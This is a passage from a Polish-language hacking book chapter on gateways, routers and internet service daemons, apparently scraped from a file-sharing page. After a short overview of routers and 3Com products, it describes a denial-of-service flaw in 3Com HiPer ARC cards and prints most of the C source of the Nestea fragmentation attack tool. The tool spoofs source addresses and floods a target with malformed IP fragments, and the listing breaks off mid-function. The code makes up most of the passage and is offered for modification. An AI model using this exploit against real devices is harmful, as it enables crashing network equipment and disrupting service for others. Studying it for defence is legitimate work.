08.doc

(1079 KB) Pobierz
Rozdział X

 

Rozdział 8. ¨ Bramy, routery oraz demony usług internetowych              457



Rozdział 8.
Bramy, routery
oraz demony
usług internetowych

Opisane w poprzednim rozdziale techniki włamań odnieść można do większości środowisk, które kolejno teraz opiszemy. Korzystając z dostarczanych przez życie przykładów, przyjrzymy się dokładniej różnego rodzaju lukom w oprogramowaniu. Część z nich Czytelnik może już znać, część będzie zapewne nowością. Przedstawione informacje pomogą w budowaniu spójnego obrazu technologii zabezpieczeń. Wszystkie załączone fragmenty kodu mogą być dowolnie modyfikowane do własnych potrzeb.

Bez pisemnego zezwolenia firmy, której dotyczą wykonywane operacje, większość przedstawionych procedur pozostaje nielegalna zarówno w Stanach Zjednoczonych, jak i wielu innych krajach. Autor i wydawca nie ponoszą odpowiedzialności za sposób i skutki korzystania z przedstawionych w niniejszej książce informacji.

Bramy i routery

Ogólnie rzecz biorąc, brama (gateway) to punkt w systemie sieciowym, pełniący rolę łącznika między dwoma sieciami. Przykładowo, w sieci firmowej funkcją bramy obarczony może zostać serwer proxy — łączący sieć wewnętrzną z Internetem. Na podobnej zasadzie brama SMTP umożliwia użytkownikom sieci wymianę poczty elektronicznej. Kategorie bram wyznacza warstwa modelu OSI, w której pracują; przykładowo repeatery działają w warstwie fizycznej (1.), mosty (bridges) — w warstwie łącza (2.), routery (routers) — w warstwie sieciowej (3.), itd. W tym podrozdziale zajmiemy się popularnymi bramami pracującymi głównie w roli routerów dostępowych, działających w warstwie transportowej (4.).

Router, łączący dowolną liczbę sieci LAN lub WAN, wykorzystuje informacje dostarczane w nagłówkach protokołów do budowania tabeli tras i na jej podstawie, decyduje o przekazywaniu pakietów. Architektura sprzętowa routerów jest stosunkowo prosta, składają się nią przyłącza sieciowe, porty administracyjne (konsole) i, ewentualnie, porty dodatkowe, na przykład dla modemów służących do zarządzania zdalnego. Pakiet docierający do przyłącza routera zostaje włączony do kolejki, gdzie oczekuje na obsłużenie. Router w tym czasie tworzy, uaktualnia i zapewnia ciągłą obsługę tabeli tras. Sprawdza jednocześnie nagłówki pakietów w kolejce i podejmuje odpowiednie decyzje — albo akceptuje pakiet i, odpowiednio do ustalonego schematu, przekazuje go, albo, w oparciu o narzucone zasady filtrowania, odrzuca. Inne wykonywane jednocześnie procedury to: uzgadnianie transmisji, obsługa okien transmisji, buforowanie, tłumienie nadawcy i wykrywanie błędów.

Opisywane na kolejnych stronach urządzenia wyposażone są również w różnego rodzaju usługi serwerów terminali i bram warstwy aplikacji. Omówienie systemów 3Com, Ascend, Cabletron, Cisco, Intel i Nortel/Bay zapewnia ujęcie w naszych rozważaniach około 90 procent stosowanych obecnie na świecie bram.

3Com

Firma 3Com (www.3com.com) działa na rynku technologii sieciowych od ponad dwudziestu lat. Mając na całym świecie 300 milionów użytkowników swoich produktów, jest jedną ze 100 największych firm na liście Nasdaq. Szeroka gama produktów dostępowych firmy sięga od przeznaczonych dla małych firm urządzeń OfficeConnect do wysokowydajnych urządzeń LAN/WAN, obejmuje również systemy tunelowania VPN i zabezpieczeń. Projektowane rozwiązania ukierunkowane są na zapewnienie średniej wielkości przedsiębiorstwu bezpiecznego dostępu zdalnego, obsługi intranetu i komunikacji z siecią zewnętrzną. Integruje się w nich takie technologie WAN jak Frame Relay, xDSL, ISDN, łącza dzierżawione i wieloprotokołowe połączenia LAN-to-LAN. Linia produktów OfficeConnect przeznaczona jest dla firm małych i średnich, zapewniając przede wszystkim dostęp zdalny i dostęp do Internetu. Na drugim końcu spektrum znajdziemy serie SuperStack II i Total Control przeznaczone dla dużych i średnich przedsiębiorstw oraz ISP (Internet Service Providers).

Realizują one bezpieczne i niezawodne połączenia między filiami, z Internetem i obsługę punktów dostępowych (dla użytkowników „terenowych”).

Słabe punkty

Karta HiPer ARC — atak Denial-of-Service

Streszczenie: Karta 3Com HiPer ARC jest podatna na ataki DoS nestea i 1234.

Stan po ataku: Awaria systemu.

Podatność: Karty HiPer ARC pracujące pod kontrolą systemu 4.1.11/x.

Luka: Karty HiPer ARC pracujące pod kontrolą systemu 4.1.11 są podatne na ataki DoS, które powodują ich zawieszenie i restart. Uwaga hakera: stosy IP 3Com/USR od dawna nie są zbyt odporne na pewne typy ataków DoS przede wszystkim przy użyciu różnych odmian Nestea.c (pierwotna wersja — humble z rhino9):

Nestea.c

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <string.h>

#include <netdb.h>

#include <netinet/in.h>

#include <netinet/udp.h>

#include <arpa/inet.h>

#include <sys/types.h>

#include <sys/time.h>

#include <sys/socket.h>

 

/* pracuje teraz w bsd, kod oryginalny miał błąd, jakiś tępy

* linsux-c0d3r niewłaściwie użył sendto()

*/

 

#ifndef STRANGE_LINSUX_BYTE_ORDERING_THING

                        /* OpenBSD < 2.1, wszystkie FreeBSD i netBSD, BSDi < 3.0 */

#define FIX(n)  (n)

#else                   /* OpenBSD 2.1, wszystkie Linux */

#define FIX(n)  htons(n)

#endif  /* STRANGE_BSD_BYTE_ORDERING_THING */

 

#define IP_MF   0x2000  /* więcej fragmentów IP en route */

#define IPH     0x14    /* rozmiar nagłówka IP */

#define UDPH    0x8     /* rozmiar nagłówka UDP */

#define MAGIC2  108

#define PADDING 256    /* dopełnienie ramki datagramu dla pierwszego pakietu */

#define COUNT   500    /* zastępujemy parę bajtów,

                      do których nie powinniśmy mieć dostępu w jądrze.

                      dla pewności, zabijmy je :>  */

 

void usage(u_char *);

u_long name_resolve(u_char *);

u_short in_cksum(u_short *, int);

void send_frags(int, u_long, u_long, u_short, u_short);

 

int main(int argc, char **argv)

{

    int one = 1, count = 0, i, rip_sock;

    u_long  src_ip = 0, dst_ip = 0;

    u_short src_prt = 0, dst_prt = 0;

    struct in_addr addr;

 

 

    if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)

    {

        perror("raw socket");

        exit(1);

    }

    if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))

        < 0)

    {

        perror("IP_HDRINCL");

        exit(1);

    }

    if (argc < 3) usage(argv[0]);

    if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))

    {

        fprintf(stderr, "What the hell kind of IP address is that?\n");

        exit(1);

    }

 

    while ((i = getopt(argc, argv, "s:t:n:")) != EOF)

    {

        switch (i)

        {

            case 's': /* port źródłowy (powinien się zmieniać) */

                src_prt = (u_short)atoi(optarg);

                break;

            case 't':      /* port docelowy (DNS, ktokolwiek?) */

                dst_prt = (u_short)atoi(optarg);

                break;

            case 'n':               /* liczba do wysłania */

                count   = atoi(optarg);

                break;

            default :

                usage(argv[0]);

                break;              /* nieosiągalny */

        }

    }

    srandom((unsigned)(time((time_t)0)));

    if (!src_prt) src_prt = (random() % 0xffff);

    if (!dst_prt) dst_prt = (random() % 0xffff);

    if (!count)   count   = COUNT;

 

    fprintf(stderr, "Nestea by humble\nCode ripped from teardrop by route /
    å daemon9\n");

    fprintf(stderr, "Death on flaxen wings (yet again):\n");

    addr.s_addr = src_ip;

    fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);

    addr.s_addr = dst_ip;

    fprintf(stderr, "  To: %15s.%5d\n", inet_ntoa(addr), dst_prt);

    fprintf(stderr, " Amt: %5d\n", count);

    fprintf(stderr, "[ ");

 

    for (i = 0; i < count; i++)

    {

        send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);

        fprintf(stderr, "b00m ");

        usleep(500);

    }

    fprintf(stderr, "]\n");

    return (0);

}

 

void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,

                u_short dst_prt)

{

int i;

    u_char *packet = NULL, *p_ptr = NULL;   /* wskaźniki pakietów */

    u_char byte;                            /* bajt */

    struct sockaddr_in sin;          /* struktura protokołu gniazd */

 

    sin.sin_family      = AF_INET;

    sin.sin_port        = src_prt;

    sin.sin_addr.s_addr = dst_ip;

 

    packet = (u_char *)malloc(IPH + UDPH + PADDING+40);

    p_ptr  = packet;

    bzero((u_char *)p_ptr, IPH + UDPH + PADDING);

 

    byte = 0x45;                   /* wersja IP i długość nagłówka */

    memcpy(p_ptr, &byte, sizeof(u_char));

    p_ptr += 2;                    /* IP TOS (pominięty) */

    *((u_short *)p_ptr) = FIX(IPH + UDPH + 10);    /* długość całkowita */

    p_ptr += 2;

    *((u_short *)p_ptr) = htons(242);   /* IP id */

    p_ptr += 2;

    *((u_short *)p_ptr) |= FIX(IP_MF);  /* znaczniki fragmentacji i offset */

    p_ptr += 2;

    *((u_short *)p_ptr) = 0x40;         /* IP TTL */

    byte = IPPROTO_UDP;

    memcpy(p_ptr + 1, &byte, sizeof(u_char));

    p_ptr += 4;                         /* suma kontrolna IP, wypełniana przez jądro */

    *((u_long *)p_ptr) = src_ip;        /* adres źródłowy IP */

    p_ptr += 4;

    *((u_long *)p_ptr) = dst_ip;        /* adres docelowy IP */

    p_ptr += 4;

    *((u_short *)p_ptr) = htons(src_prt);     /* port źródłowy UDP */

    p_ptr += 2;

    *((u_short *)p_ptr) = htons(dst_prt);     /* port docelowy UDP */

    p_ptr += 2;

    *((u_short *)p_ptr) = htons(8 + 10);   /* całkowita długość UDP */

 

    if (sendto(sock, packet, IPH + UDPH + 10, 0, (struct sockaddr *)&sin,

                sizeof(struct sockaddr)) == -1)

    {

        perror("\nsendto");

        free(packet);

        exit(1);

    }

 

    p_ptr  = packet;

    bzero((u_char *)p_ptr, IPH + UDPH + PADDING);

 

    byte = 0x45;                   /* wersja IP i długość nagłówka */

    memcpy(p_ptr, &byte, sizeof(u_char));

    p_ptr += 2;                         /* IP TOS (pominięty) */

    *((u_short *)p_ptr) = FIX(IPH + UDPH + MAGIC2);    /* długość całkowita */

    p_ptr += 2;

    *((u_short *)p_ptr) = htons(242);   /* IP id */

    p_ptr += 2;

    *((u_short *)p_ptr) = FIX(6);  /* znaczniki fragmentacji i offset */

    p_ptr += 2;

    *((u_short *)p_ptr) = 0x40;         /* IP TTL */

    byte = IPPROTO_UDP;

    memcpy(p_ptr + 1, &byte, sizeof(u_char));

    p_ptr += 4;                         /* suma kontrolna IP, wypełniana przez jądro */

    *((u_long *)p_ptr) = src_ip;        /* adres źródłowy IP */

    p_ptr += 4;

    *((u_long *)p_ptr) = dst_ip;        /* adres docelowy IP */

    p_ptr += 4;

    *((u_short *)p_ptr) = htons(src_prt);     /* port źródłowy UDP */

    p_ptr += 2;

    *((u_short *)p_ptr) = htons(dst_prt);     /* port docelowy UDP */

    p_ptr += 2;

    *((u_short *)p_ptr) = htons(8 + MAGIC2);  /* całkowita długość UDP */

 

    if (sendto(sock, packet, IPH + UDPH + MAGIC2, 0, (struct sockaddr *)&sin,

                sizeof(struct sockaddr)) == -1)

    {

        perror("\nsendto");

        free(packet);

        exit(1);

    }

 

    p_ptr  = packet;

    bzero((u_char *)p_ptr, IPH + UDPH + PADDING+40);

    byte = 0x4F;                        /* wersja IP i długość nagłówka */

    memcpy(p_ptr, &byte, sizeof(u_char));

    p_ptr += 2;                         /* IP TOS (pominięty) */

    *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING+40);    /* długość całkowita */

    p_ptr += 2;

    *((u_short *)p_ptr) = htons(242);   /* IP id */

    p_ptr += 2;

    *((u_short *)p_ptr) = 0 | FIX(IP_MF);  /* znaczniki fragmentacji i offset */

    p_ptr += 2;

    *((u_short *)p_ptr) = 0x40;         /* IP TTL */

    byte = IPPROTO_UDP;

    memcpy(p_ptr + 1, &byte, sizeof(u_char));

    p_ptr += 4;                         /* suma kontrolna IP, wypełniana przez jądr */

    *((u_long *)p_ptr) = src_ip;        /* adres źródłowy IP */

    p_ptr += 4;

    *((u_long *)p_ptr) = dst_ip;        /* adres docelowy IP */

    p_ptr += 44;

    *((u_short *)p_ptr) = htons(src_prt);       /* port źródłowy UDP */

    p_ptr += 2;

    *((u_short *)p_ptr) = htons(dst_prt);       /* port docelowy UDP */

    p_ptr += 2;

    *((u_short *)p_ptr) = htons(8 + PADDING);   /* całkowita długość UDP */

 

        for(i=0;i<PADDING;i++)

        {

                p_ptr[i++]=random()%255;

...

Zgłoś jeśli naruszono regulamin